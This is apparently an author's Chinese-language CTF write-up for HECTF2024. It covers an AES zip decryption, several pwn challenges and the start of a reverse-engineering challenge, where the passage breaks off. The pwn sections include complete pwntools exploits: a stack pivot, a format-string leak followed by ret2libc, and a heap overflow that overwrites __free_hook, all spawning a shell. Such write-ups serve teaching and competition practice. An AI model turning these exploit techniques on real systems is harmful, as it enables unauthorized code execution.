​ 显然,压缩包被加密了,AES 加密和 key 都有,直接打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import binascii

def decrypt(ct_hex,key,iv):
cipher2 = AES.new(key, AES.MODE_CBC, iv)
hex_data = binascii.a2b_hex(ct_hex)
pt = unpad(cipher2.decrypt(hex_data), 16)
return pt

key = b"abcdefghijklmnop"
iv = b"qwertyuiopasdfgh"

# 加密的zip文件
with open("jiami.zip","rb") as f:
endata = f.read()

# 新建的解密zip文件
with open("jiemi.zip","wb") as f:
dedata = decrypt(endata,key,iv)
f.write(dedata)

​ 9 解压后就有 flag 了。

1
HECTF{c292af1-2b2ee35-6398bd4934f7626afc}

# Pwn

# sign in

​ 检查无保护:

1
2
3
4
5
6
7
g01den@MSI:/mnt/c/Users/20820/Downloads/attachment$ checksec pwn
[*] '/mnt/c/Users/20820/Downloads/attachment/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+8h] [rbp-18h] BYREF
char s[10]; // [rsp+12h] [rbp-Eh] BYREF
int v6; // [rsp+1Ch] [rbp-4h]

init(argc, argv, envp);
puts("please sign in!!!!");
gets(s);
v6 = strlen(s);
if ( v6 > 8 )
{
puts("overflow");
exit(1);
}
puts("Enter your key");
read(0, buf, 0xAuLL);
if ( !strncmp(buf, m, 0xAuLL) )
{
puts("login--------");
close(1);
backd00r();
}
return 0;
}

​ 两个办法:

方法一:

​ gets 没有能造成栈溢出,用 \x00 可以绕过 strlen 的比较,可以直接溢出劫持 rip 到 backd00r,这里就不给 exp 了。

方法二:

​ 寻常绕 close (1),key 为 HECTF!,之后 sh flag 报错带出来即可。

# find eggy:

​ 寻常栈迁移,漏洞在 check 函数里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __fastcall check(__int16 a1)
{
unsigned int v1; // eax
char buf[28]; // [rsp+10h] [rbp-20h] BYREF
int v4; // [rsp+2Ch] [rbp-4h]

puts(aKaka);
if ( a1 )
{
puts(&byte_4020A8);
puts("------- --------\n");
puts("|||||||| |||||||| \n");
puts(" \n");
return puts(" V \n");
}
else
{
puts("Success!");
puts("Don't touch me!");
if ( read(0, &s, 0x70uLL) <= 0 )
{
perror("read error");
exit(1);
}
puts("TvT");
if ( read(0, buf, 0x30uLL) <= 0 )
{
perror("read error");
exit(1);
}
v1 = atoi(buf);
v4 = calculate_sum_of_factors(v1);
printf("The sum of factors of %s is %d\n", buf, v4);
if ( !strcmp(buf, "12345") && v4 == 15616 )
printf("Congratulations! You found the flag{this is flag}");
return puts("yes!");
}
}

​ 两次读取,第一次读到 bss 段上,第二次在栈上,但是第二次限制了读取大小,不足以构造 ROP 链,所以栈迁移到 bss 段上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
#p = process('./pwn')
#context.log_level = 'debug'
p = remote('0.0.0.0',9393)
s = 0x405600
system = 0x4015ad
binsh = 0x403680
rdi = 0x401326
leave = 0x4014c0
ret = 0x40101a
p.recv()
p.sendline(b'-983040')
#gdb.attach(p)
p.recvuntil(b"Don't touch me!")
pay = p64(rdi) +p64(binsh) +p64(ret) +p64(system)
p.sendline(pay)
p.recvuntil(b'TvT')
payload = b'a'*0x20 +p64(s-8)+p64(leave)
p.sendline(payload)
p.interactive()

# Arcaea_Sorting:

​ 第一次出题,踩坑太多了,这次差点儿给自己弄废了,不过好歹是出出来了,坑啊,全是坑。

​ 首先是 checksec 一下:

1
2
3
4
5
6
7
g01den@MSI:~/CTest/HECTF2024/pwn3$ checksec pwn
[*] '/home/g01den/CTest/HECTF2024/pwn3/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

​ 别问为啥是 32 位的,因为 32 位在 strspy 那里过不了,得用其他操作,不是我想考的点,所以这里就只有考 32 位了。

​ 玩儿过 Arcaea 的应该都知道,这个程序大概有啥用,别的不说,先跑一下看看:

1
2
3
4
5
6
7
8
Welcome to the Arcaea Query developed by g01den, which is currently in the development stage
___
/ | ______________ ____ ____ _
/ /| | / ___/ ___/ __ `/ _ \/ __ `/
/ ___ |/ / / /__/ /_/ / __/ /_/ /
/_/ |_/_/ \___/\__,_/\___/\__,_/
If you find any questions, please do not contact g01den for resolution
I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?

​ 这里首先是让我们输入自己的定数,之后做啥处理没静态不清楚,随便输入一个 12 看看:

1
2
3
4
5
6
7
8
9
10
10
Come on, the flowers are purple and about to turn red. You will step onto the ladder of the big shots
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system

​ 大概有啥用应该从字面上应该能懂:

  1. 功能键 1 是算歌曲分数和单曲 ptt 然后加入 b30,具体逻辑是否正确我不是很清楚,但测试的时候没啥太大的问题。
  2. 功能键 2 是计算单曲 ptt 并输出
  3. 功能键 3 是从 b30 里计算出玩家 ptt,不计算 r10,所以只能做参考
  4. 功能键 5 是给最喜欢的谱子投票
  5. 功能键 5 是输出投的票的歌曲名字
  6. 功能键 5 是输出所有 b30 的内容
  7. 功能键 7 是推出这个系统
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
1
Please enter the exact number of songs you want to query:11.5

Please enter your score for this spectrum:10000000

The single PTT is 13.500000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
6
rating = 13.500000,music = 11.500000
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.500000
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.500000
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
1
Please enter the exact number of songs you want to query:11.3

Please enter your score for this spectrum:10000000

The single PTT is 13.300000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
1
Please enter the exact number of songs you want to query:11.2

Please enter your score for this spectrum:10000000

The single PTT is 13.200000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.333333
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.333333
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.333333
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
6
rating = 13.200000,music = 11.200000
rating = 13.300000,music = 11.300000
rating = 13.500000,music = 11.500000

​ 似乎没啥问题。再看看 4、5 两个功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
4
You can vote for what you like. You can input the name of your favorite song and cast your valuable vote
You can vote 3 times, you can vote other songs, and you can't vote for the same song again. There won't be any problems if you vote, anyway, it's useless to vote (=_=!!!)testify
Your vote was for testify
. Thank you for your affirmation of this spectrum, and I hope you can score smoothly
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
5
The name of the song you voted for is:
testify

​ 这里,总的能输入字符的感觉只有 4,其他的只有数字。

​ 上 IDA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __cdecl main(int argc, const char **argv, const char **envp)
{
long double v3; // fst7
int v5; // [esp-Ah] [ebp-20h]
int v6; // [esp-6h] [ebp-1Ch]
__int16 v7; // [esp+0h] [ebp-16h] BYREF
__int16 *v8; // [esp+2h] [ebp-14h] BYREF
void *v9; // [esp+6h] [ebp-10h]
int v10; // [esp+Ah] [ebp-Ch]
int *p_argc; // [esp+Eh] [ebp-8h]

p_argc = &argc;
v10 = 0;
v9 = malloc(0xCu);
init();
hello();
*((_DWORD *)v9 + 2) = 0;
printf("I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?");
fflush(stdin);
__isoc99_scanf("%f", &v8, v5, v6);
compare(*(float *)&v8);
do
{
puts("=======Please select the following options to use the relevant functions========");
puts("1. If the score is qualified, it will be stored in B30");
puts("2. Calculate single PTT");
puts("3. Calculate player PTT through b30");
puts("4. Give your favorite song a vote");
puts("5. View voted songs");
puts("6. Output all content of b30");
puts("7. Exit the system");
fflush(stdin);
v8 = &v7;
((void (__stdcall *)(const char *))__isoc99_scanf)("%d");
switch ( v7 )
{
case 1:
setB30(v9);
break;
case 2:
calculateMusic(v9, 0);
break;
case 3:
v3 = pttCalculate(v9);
printf("Your PTT is%f\n", (double)v3);
break;
case 4:
vote();
break;
case 5:
output_vote(p_argc);
break;
case 6:
test(v9);
break;
case 7:
v10 = 1;
break;
default:
break;
}
}
while ( v10 != 1 );
puts("Exit the program");
freeNode(v9);
puts("Exit successful");
puts("Thank you for using this scoring system");
puts("See you");
return 0;
}

​ 找了一圈,最后在 output_vote 函数里找到了一个 printf (dest):

1
2
3
4
5
6
7
8
9
10
int output_vote()
{
char dest[68]; // [esp+0h] [ebp-48h] BYREF

if ( !votes )
return puts("You haven't voted yet\n");
puts("The name of the song you voted for is:");
strcpy(dest, name);
return printf(dest);
}

​ 这个可以用来泄露 main 的地址,绕过 PIE,关键是 strcpy,存在 name 这个变量,但是上面没定义,因为在 bss 段上,根据这个变量,看看哪里调用了它,最后在 vote 里调用了两次:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int vote()
{
if ( votes > 2 )
{
puts("You have already cast 3 times, you cannot cast anymore");
return puts("If you still want to vote, I suggest restarting this system, as it doesn't have a memory function anyway ");
}
else
{
puts("You can vote for what you like. You can input the name of your favorite song and cast your valuable vote");
printf(
"You can vote 3 times, you can vote other songs, and you can't vote for the same song again. There won't be any pr"
"oblems if you vote, anyway, it's useless to vote (=_=!!!)");
fflush(stdin);
read(0, &name, 0x60u);
fflush(stdin);
printf(
"Your vote was for %s. Thank you for your affirmation of this spectrum, and I hope you can score smoothly\n",
&name);
return ++votes;
}
}

​ 这里有个 read:

1
read(0, &name, 0x60u);

​ 回去一下,output_vote 函数中,将 name 变量塞进了 dest 里,但 dest 似乎不够大,存在栈溢出,但 gdb 调一下之后,发现其实长度不是特别大,不够 ROP(可能稍微大了,不过懒得改了),这里就可以打栈迁移了,随意,不过,预期解是 libc,常规 libc,因为多找找,能找到这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ssize_t evaluate()
{
int v1; // [esp-8h] [ebp-150h]
int v2; // [esp-4h] [ebp-14Ch]
size_t nbytes; // [esp+Ch] [ebp-13Ch] BYREF
char v4[256]; // [esp+10h] [ebp-138h] BYREF
char buf[52]; // [esp+110h] [ebp-38h] BYREF

puts("You cannot call this function unless you have authorization");
puts("So?How are you?");
read(0, buf, 0x30u);
if ( strcmp(buf, "g01den") )
{
puts("NO,you can't do it");
exit(0);
}
puts("OK,Only I can give myself advice");
puts("plz input the count of your advice");
fflush(stdin);
__isoc99_scanf("%d", &nbytes, v1, v2);
if ( (int)nbytes > 256 )
{
puts("No ,don't hack");
exit(0);
}
fflush(stdin);
return read(0, v4, nbytes);
}

​ 这个函数是我预留的一个后门算是后门吧,想办法劫持数据流过来吧,不过得先泄露 main。

​ main 的某个偏移是 %23$p ,这里泄露出来的是这个地址:

1
2
.text:0000146A                 call    output_vote     ; jumptable 00001414 case 5
.text:0000146F jmp short _L3 ; jumptable 00001414 default case, case 0

​ 之后真实地址减去偏移得到了 elf 的基地址,之后就可以拿到 evaluate 的地址和其他 plt 和 got 表的地址,之后就常规的 libc3 了。泄露 puts 真实地址,然后获得 libc_base 地址,之后拿 binsh 和 system。

​ exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
#from LibcSearcher import *

#context.terminal = ["tmux", "splitw", "-h"]
Locale = 1
if Locale == 1:
io = process('./pwn')
else:
io = remote("154.64.254.169",33185)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# context(arch='amd64', os='linux', log_level='debug')


def exp():
io.recvuntil(b"I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?")
io.sendline(b"11.0")
io.recvuntil(b"7. Exit the system\n")
io.sendline(b"4")
io.recvuntil(b"problems if you vote, anyway, it's useless to vote (=_=!!!)")
io.sendline(b"AAAAAAAA%23$p")
io.recvuntil(b"7. Exit the system")
io.sendline(b"5")
io.recvuntil(b"AAAAAAAA")
main_146F = io.recv(10)
main_addr = hex(int(main_146F,16) - 456)
log.success("main_146F = " + str(main_146F.decode()))
log.success("main_addr = " + str(main_addr))

offset = 0x4c
io.recvuntil(b"7. Exit the system\n")
io.sendline(b"4")
io.recvuntil(b"problems if you vote, anyway, it's useless to vote (=_=!!!)")

main_addr = int(main_addr,16)
backdoor = main_addr + 0x1DDE - 0x12A7
payload = b"a" * offset + p32(backdoor)
io.sendline(payload)
io.recvuntil(b"7. Exit the system\n")
io.sendline(b"5")

io.recvuntil(b"So?How are you?")
io.sendline(b"g01den\x00")


io.recvuntil(b"plz input the count of your advice\n")
io.sendline(b"-1")

base = main_addr - elf.symbols["main"]
puts_plt = base + elf.symbols["puts"]
puts_got = base + elf.got["puts"]
log.success("main_add = " + str(hex(main_addr)))
log.success("puts_plt = " + str(hex(puts_plt)))
log.success("elf_base = " + str(hex(base)))
log.success("puts_got = " + str(hex(puts_got)))

offset = 0x13c
ret = base + 0x100e
# gdb.attach(io)
# pause()
global_offset_table_addr = base + 0x5000#0x4fa0
log.success("global_offset_table_addr = " + str(hex(global_offset_table_addr)))
payload1 = (offset -8) * b"a" + p32(global_offset_table_addr) + p32(global_offset_table_addr) + p32(ret) + p32(puts_plt) + p32(backdoor) + p32(puts_got)
# payload1 = offset * b"a" + p32(ret) + p32(main_addr)
# payload1 = offset * b"a" + p32(ret) + p32(main_addr)
io.sendline(payload1)

puts_addr = u32(io.recv(4))
log.success("puts_addr = " + str(hex(puts_addr)))
libc_base = puts_addr - libc.symbols["puts"]
log.success("libc_base = " + str(hex(libc_base)))
system_addr = libc_base + libc.symbols["system"]
log.success("system_addr = " + str(hex(system_addr)))


io.recvuntil(b"So?How are you?\n")
io.sendline(b"g01den\x00")

io.recvuntil(b"plz input the count of your advice\n")
io.sendline(b"-1")

binsh_addr = libc_base + next(libc.search("/bin/sh"))
print(hex(binsh_addr))
log.success("binsh_addr = " + str(hex(binsh_addr)))
payload2 = (offset -8) * b"a" + p32(global_offset_table_addr) + p32(global_offset_table_addr) + p32(ret)
payload2 += p32(system_addr) + p32(binsh_addr) + p32(binsh_addr) + p32(binsh_addr)

gdb.attach(io)
pause()

io.sendline(payload2)

exp()

io.interactive()

​ 这里 payload2 的 p32(global_offset_table_addr) + p32(global_offset_table_addr) 有点儿问题,不是我的 exp 的问题,是我最开始本地调题目的时候出现的问题,我发现它这里如果不泄露这个地址的话就打不通,但为啥现在不需要这个都能出,有点过于随缘了,如果不加上这个地址不通的话, 那就考虑 gdb 调一下看看是否这里缺失了什么,或者寄存器之类的问题(补充,这里出现问题是因为再 call puts 的 plt 的时候,出现了问题,有个存在 ebp-4 的地址给 mov 到了 ebx 寄存器中,同时,存在 jmp ebp+XX 相关代码,动调的时候,发现报错地址是 aaaa,所以改成 p32(global_offset_table_addr) + p32(global_offset_table_addr) 就能打通)。

# Arcaea_Sorting_Revenge:

​ 似乎出了个板子题,不过,我也算是尽力了吧,堆这玩意儿是真的难。

​ 程序做了个简单的存储功能,arcaea 存储分数并输出的功能,删除功能里会将 bss 段里的当前指针置零,但是歌曲信息那个 chunk 里面,指向 description 的指针没有置零,edit 修改了输入的长度,但是没有重新 malloc 新的空间,没有检测大小,存在堆溢出,增加功能里一次 malloc 了两次 chunk,第二次可以控制大小。

​ 首先增加三次书,每次都是,控制 size 大小为 0x91,保证 chunk 在被 free 的时候能进 unsortedbin,free 掉编号为 1 的这个音乐,然后重新建一个歌曲,为了让 chunk 里有 unsortedbin 里的数据,也就是 fd 或者 bk 指针,因为 unsortedbin 目前只有一个 chunk,所以 fd,bk 指针均指向 main_arena,可以用来 leak 掉 libc 地址,重新 add 了一个之后,编号依旧为 1,然后写入的 content 为八个字节,不要写入其他内容,之后 show 可以 leak 出 libc 地址,之后为了 leak 堆的地址,我 free 了两次,但是实际上并不需要这么做,之后就是利用 edit 的溢出功能,在堆上修改 chunk,达成伪造,伪造指针,指向任意地址,这里指向 __free_hook ,然后 edit 修改 __free_hookone_gadget 的地址,然后进行 getshell。

​ 算是个比较板子的堆题吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

io = process("./pwn")
# io = remote("154.64.254.169",33215)
libc = ELF("./libc.so.6")

def add(name,rating,score,descSize,desc):
io.sendlineafter(b">>",b"1")
io.sendlineafter(b"plz input music's name:",name)
io.sendlineafter(b"plz input music's rating:",str(rating))
io.sendlineafter(b"plz input music's score:",str(score))
io.sendlineafter(b"plz input descript's max size:",str(descSize))
io.sendlineafter(b"plz input music's descript:",desc)

def free(idx):
io.sendlineafter(b">>",b"2")
io.sendlineafter(b"plz input index you want to delete(index from 0) :",str(idx))

def edit(idx,descSize,desc):
io.sendlineafter(b">>",b"3")
io.sendlineafter(b"plz input index you want to delete(index from 0) :",str(idx))
io.sendlineafter(b"plz input max size you want to change to:",str(descSize))
io.sendafter(b"plz input description:",desc)

def show():
io.sendlineafter(b">>",b"4")

io.recvuntil(b"plz enter your username:")
io.sendline(b"g01den")

add(b"testify",12,10002221,128,b"hardhard")
add(b"bbbb",12,10002221,128,b"what")
add(b"cccc",12,10002221,128,b"nani")

free(1)

log.info("######################leaking libc address########################3")
io.sendlineafter(b">>",b"1")
io.sendlineafter(b"plz input music's name:",b"dddd")
io.sendlineafter(b"plz input music's rating:",str(12))
io.sendlineafter(b"plz input music's score:",str(10002221))
io.sendlineafter(b"plz input descript's max size:",str(128))
io.sendafter(b"plz input music's descript:",b"dddddddd")

show()

io.recvuntil(b"dddddddd")
# main_arena = u64(io.recvuntil(b"\x7f")[:-6].ljust(8,b"\x00"))
# main_arena = u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
main_arena = u64(io.recv(6).ljust(8,b"\x00"))
log.success("main_arena => " + str(hex(main_arena)))

libc_base = main_arena - 0x3c4b78
log.success("libc_base => " + str(hex(libc_base)))

gdb.attach(io)
pause()

add(b"eeee",12,10002221,128,b"eeeeeeee")
free(1)
free(2)

log.info("######################leaking chunk6 address########################3")
io.sendlineafter(b">>",b"1")
io.sendlineafter(b"plz input music's name:",b"ffff")
io.sendlineafter(b"plz input music's rating:",str(12))
io.sendlineafter(b"plz input music's score:",str(10002221))
io.sendlineafter(b"plz input descript's max size:",str(128))
io.sendafter(b"plz input music's descript:",b"ffffffff")

show()
io.recvuntil(b"ffffffff")
chunk = u64(io.recv(6).ljust(8,b"\x00"))
chunk_basee = chunk - 0x210
print(hex(chunk))
log.success("chunk_basee => " + str(hex(chunk_basee)))

free_hook = libc_base + libc.sym["__free_hook"]
target_chunk = chunk_basee + 0x210
payload = b"a" * 0x80 + p64(0x90) + p64(0x51) + b"b" * 0x30 + p64(1) + p64(10002221) + p64(free_hook)

edit(1,0x200,payload)

one_gadget = libc_base + 0x4527a
edit(1,0x100,p64(one_gadget))
free(0)

io.interactive()

注:别问为啥没有剩下两个 pwn 题的 wp,因为我也不会,并且短时间内学不会

# Re:

# babyre:

​ 无壳。

1
2
3
4
5
6
7
8
9
10
11
12
13
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, 0LL, 0LL, a3, &v5);
__halt();
}

​ 是 Linux 编译的,进 main 里看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rdx
_BYTE v6[32]; // [rsp+0h] [rbp-A0h] BYREF
_BYTE v7[32]; // [rsp+20h] [rbp-80h] BYREF
_BYTE v8[32]; // [rsp+40h] [rbp-60h] BYREF
_BYTE v9[40]; // [rsp+60h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-18h]

v10 = __readfsqword(0x28u);
std::string::basic_string(v6, a2, a3);
std::string::basic_string(v7, a2, v3);
std::string::basic_string(v8, a2, v4);
std::operator<<<std::char_traits<char>>(&std::cout, &unk_21AD);
std::operator>><char>(&std::cin, v6);
sub_147E();
sub_1558();
sub_13A9(v8, v6);
std::string::operator=(v7, v6);
std::string::basic_string(v9, v6);
sub_1920(v9, v7);
std::string::~string(v9);
std::string::basic_string(v9, v7);
sub_17A7(v9);
std::string::~string(v9);
std::string::~string(v8);
std::string::~string(v7);
std::string::~string(v6);
return 0LL;
}

​ C++ 逆向,代码不复杂,Shift+F12 找关键字符串,找到了这个:

1
2
.rodata:00000000000021BF aWrongValue     db 'Wrong Value',0      ; DATA XREF: sub_17A7+110↑o
.rodata:00000000000021CB aCurruntValue db 'Currunt Value',0 ; DATA XREF: sub_17A7+149↑o

​ 跟踪一下,这个函数调用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall sub_17A7(__int64 a1)
{
int v2; // [rsp+10h] [rbp-1B0h]
int i; // [rsp+14h] [rbp-1ACh]
int j; // [rsp+18h] [rbp-1A8h]
int v5; // [rsp+1Ch] [rbp-1A4h]
_DWORD v6[102]; // [rsp+20h] [rbp-1A0h] BYREF
unsigned __int64 v7; // [rsp+1B8h] [rbp-8h]

v7 = __readfsqword(0x28u);
v5 = std::string::length(a1);
memset(v6, 0, 0x190uLL);
v2 = 0;
for ( i = 0; i < v5; ++i )
v6[i] = *(char *)std::string::operator[](a1, i) ^ (i / 3);
for ( j = 0; j < v5; ++j )
{
if ( v6[j] != dword_4020[j] )
{
v2 = 1;
std::operator<<<std::char_traits<char>>(&std::cout, "Wrong Value");
break;
}
}
if ( !v2 )
std::operator<<<std::char_traits<char>>(&std::cout, "Currunt Value");
return v7 - __readfsqword(0x28u);
}

​ 这里有个异或运算,逐个比较,推测这里就是目的函数,返回 main 函数,传参是 v9,盯着 v9,从下往上看,找到门路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
unsigned __int64 __fastcall sub_1920(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
_BYTE *v3; // rax
int i; // [rsp+10h] [rbp-A0h]
int v6; // [rsp+14h] [rbp-9Ch]
int j; // [rsp+18h] [rbp-98h]
int v8; // [rsp+1Ch] [rbp-94h]
_WORD *v9; // [rsp+20h] [rbp-90h]
unsigned __int64 v10; // [rsp+28h] [rbp-88h]
_BYTE v11[44]; // [rsp+30h] [rbp-80h] BYREF
int v12; // [rsp+5Ch] [rbp-54h]
_QWORD v13[6]; // [rsp+60h] [rbp-50h] BYREF
__int16 v14; // [rsp+90h] [rbp-20h]
unsigned __int64 v15; // [rsp+98h] [rbp-18h]

v15 = __readfsqword(0x28u);
memset(v13, 0, sizeof(v13));
v14 = 0;
for ( i = 0; i <= 63; ++i )
*((_BYTE *)v13 + i) = dword_2040[i];
v10 = std::string::size(a1);
v9 = (_WORD *)std::string::data(a1);
std::string::basic_string(v11, a2, v2);
v12 = 0;
v6 = 0;
for ( j = 0; j < (int)(v10 / 3); ++j )
{
*(_WORD *)((char *)&v12 + 1) = *v9;
v3 = v9 + 1;
v9 = (_WORD *)((char *)v9 + 3);
HIBYTE(v12) = *v3;
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (BYTE1(v12) >> 2)));
std::string::operator+=(
v11,
(unsigned int)*((char *)v13 + (((unsigned __int8)(16 * BYTE1(v12)) | (BYTE2(v12) >> 4)) & 0x3F)));
std::string::operator+=(
v11,
(unsigned int)*((char *)v13 + (((unsigned __int8)(4 * BYTE2(v12)) | (HIBYTE(v12) >> 6)) & 0x3F)));
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (HIBYTE(v12) & 0x3F)));
v6 += 4;
if ( v6 == 76 )
{
std::string::operator+=(v11, "\r\n");
v6 = 0;
}
}
v8 = v10 % 3;
if ( v8 == 1 )
{
BYTE1(v12) = *(_BYTE *)v9;
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (BYTE1(v12) >> 2)));
std::string::operator+=(v11, (unsigned int)*((char *)v13 + ((16 * BYTE1(v12)) & 0x30)));
std::string::operator+=(v11, "==");
}
else if ( v8 == 2 )
{
*(_WORD *)((char *)&v12 + 1) = *v9;
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (BYTE1(v12) >> 2)));
std::string::operator+=(
v11,
(unsigned int)*((char *)v13 + ((16 * BYTE1(v12)) & 0x30 | (unsigned int)(BYTE2(v12) >> 4))));
std::string::operator+=(v11, (unsigned int)*((char *)v13 + ((4 * BYTE2(v12)) & 0x3C)));
std::string::operator+=(v11, "=");
}
std::string::operator=(a2, v11);
std::string::~string();
return v15 - __readfsqword(0x28u);
}

​ 这里就是典型的算法识别,实现的是一个 base64 加密,再就是这个函数,对 v6 进行了处理(我们输入的 flag 就是这个):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall sub_13A9(__int64 a1, __int64 a2)
{
char v2; // bl
char v3; // bl
__int64 v5; // [rsp+18h] [rbp-38h] BYREF
__int64 v6; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 i; // [rsp+28h] [rbp-28h]
unsigned __int64 v8; // [rsp+30h] [rbp-20h]
unsigned __int64 v9; // [rsp+38h] [rbp-18h]

v9 = __readfsqword(0x28u);
v6 = std::string::length(a2);
v5 = std::string::length(a1);
v8 = *(_QWORD *)sub_1DC2(&v5, &v6);
for ( i = 0LL; i < v8; ++i )
{
v2 = *(_BYTE *)std::string::operator[](a1, i);
v3 = *(_BYTE *)std::string::operator[](a2, i) ^ v2;
*(_BYTE *)std::string::operator[](a1, i) = v3;
}
